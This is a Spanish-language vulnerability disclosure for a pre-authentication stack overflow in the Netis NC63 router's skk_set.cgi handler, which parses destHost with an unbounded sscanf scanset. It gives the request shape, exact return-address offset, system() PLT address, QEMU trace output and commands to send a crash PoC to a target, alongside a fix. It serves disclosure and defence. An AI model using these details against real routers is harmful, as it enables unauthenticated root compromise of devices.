
Investigación original y PoC no destructivo para un desbordamiento de búfer de pila previo a la autenticación mediante un scanset de sscanf sin límites en el controlador ipFilterList de Netis NC63.
sscanf %[^,] en el manejador ipFilterList de skk_set.cgi en Netis NC63Investigador: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostEl analizador genérico de MIB/valores del firmware V3.0.0.3327 de Netis NC63 analiza el
campo destHost de ipFilterList con dos conjuntos de escaneo (scansets) %[^,] pero sin
anchos de campo máximos. Cada conversión escribe en un búfer local de pila de 16 bytes.
Por lo tanto, un cliente HTTP directo puede enviar un componente largo sin comas y
sobrescribir los datos de control guardados de la función.
Para el segundo componente de destHost probado dinámicamente, el ra guardado está exactamente a 112 bytes del búfer local. El rastreo con QEMU sobre el CGI de hash original confirmó una tercera entrada seleccionada por el atacante en 0x0040f7f4. Una prueba separada de solo observación redirigió el retorno a la ruta PLT original de system() en 0x00423ab0, conservando los datos de solicitud controlados por el atacante como el argumento a0 exacto de MIPS. Un /bin/sh protegido registró el marcador y no ejecutó ningún comando.
El PoC público contiene deliberadamente solo un patrón B demasiado largo. No incluye el valor privado de transferencia de control ni la construcción del límite de comandos.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

El frontend del proveedor construye srcHost y destHost como tres componentes separados por comas y los envía junto con ipFilterList a /cgi-bin/skk_set.cgi:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

La solicitud CGI validada con forma de HTTP no contenía cabecera Cookie ni Authorization. /tmp/boa_auth estaba ausente y, aun así, la ejecución continuó hacia la ruta del analizador de ipFilterList=mod y destHost. El defecto de corrupción de memoria es el scanset sin ancho en FUN_0040f7f4; el fallo más amplio de autorización del CGI es la condición que expone este manejador privilegiado sin autenticación previa.

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
Los metadatos originales de libapmib.so asignan tanto srcHost como destHost al tipo 0x0c, que selecciona este caso del analizador. La validación dinámica se realizó con destHost; srcHost se incluye como cobertura estática del mismo analizador y no como una afirmación dinámica separada.

Pseudocódigo normalizado derivado de Ghidra:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() no es intrínsecamente la vulnerabilidad. El defecto es que %[^,] no tiene un ancho de campo máximo, por lo que sscanf no sabe que cada destino tiene solo 16 bytes. Un formato que tenga en cuenta la capacidad usaría un ancho como %15[^,], verificaría que exactamente tres conversiones se realizaron correctamente y luego validaría los valores de dirección analizados. Esta es una mitigación de ejemplo, no un parche del proveedor.
FUN_0040f7f4 comienza en 0x0040f7f4 y crea un marco de 0x1d0 bytes:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
Los destinos de tipo 0x0c están en fp+0x14c y fp+0x15c. El ra guardado está en fp+0x1cc, lo que sitúa la distancia exacta desde el segundo búfer en:
0x1cc - 0x15c = 0x70 = 112 bytes

La prueba aislada de PC utilizó 112 bytes de relleno seguidos de los tres bytes bajos en little-endian de 0x0040f7f4; el terminador de sscanf aportó el cuarto byte cero. QEMU observó dos entradas ordinarias del analizador seguidas de una tercera entrada causada por la dirección de retorno sobrescrita:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

Una validación privada separada formó el ra guardado =0x00423ab0, la ruta PLT de system() del binario original. Un sufijo controlado de la clave de solicitud permaneció en a0 de MIPS en el momento del retorno. El entorno de ejecución desechable reemplazó /bin/sh por un registrador estático:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
Esto establece una primitiva RCE en la ruta aislada del código de producción. No se probaron la fiabilidad exacta del exploit en el router físico, el comportamiento de aleatorización del kernel ni la exposición WAN por defecto.
El netis.cgi probado es byte-idéntico al artefacto de producción. Debido a que el estado MIB respaldado por flash no está disponible en qemu-user, el rootfs desechable utilizó una adaptación divulgada solo para laboratorio de libapmib.so que asignaba estado MIB a ceros y ajustaba una alineación de campo empaquetado. No modificó el CGI, el analizador de solicitudes, el sscanf vulnerable, el marco de pila, el desplazamiento del retorno guardado, el epílogo ni la ruta de system(). Los metadatos estáticos provienen del libapmib.so original del proveedor.
El ejecutable original tiene base fija, carece de canario de pila y de RELRO, y posee una pila ejecutable y un segmento RWX. Estas propiedades respaldan el análisis de explotabilidad, pero no sustituyen a las pruebas dinámicas de PC y de límite protegido.

Generación de prueba en seco (dry-run) del cuerpo codificado en URL:
python3 poc/poc.py
Transmisión explícita a un objetivo desechable autorizado:
python3 poc/poc.py --target http://192.168.1.1 --send
El script público usa un componente B de 115 bytes para demostrar la condición de desbordamiento. Enviarlo puede provocar un fallo del proceso CGI. No contiene ninguna cadena de comando, shellcode, dirección de retorno a system, shell inversa ni persistencia.
Una explotación exitosa puede ejecutar comandos seleccionados por el atacante en el contexto de administración del router. La configuración original de Boa ejecuta el CGI como root. Las consecuencias potenciales incluyen la divulgación de la configuración del router y de secretos, la manipulación de DNS/cortafuegos/enrutamiento, la redirección de tráfico, la interrupción del servicio y el compromiso total del dispositivo.
%15[^,] para cada destino de 16 bytes y exija tres conversiones exitosas.%s y %[...] sin ancho.Consulte evidence/README.md. El pseudocódigo normalizado y la evidencia de instrucciones se encuentran en attachments/decompiled-functions/.
CVE-2026-76071 y autorizó la divulgación pública.No se flasheó ningún router físico. No se utilizó ningún comando real, shellcode, shell inversa, persistencia, conexión de red externa ni operación destructiva.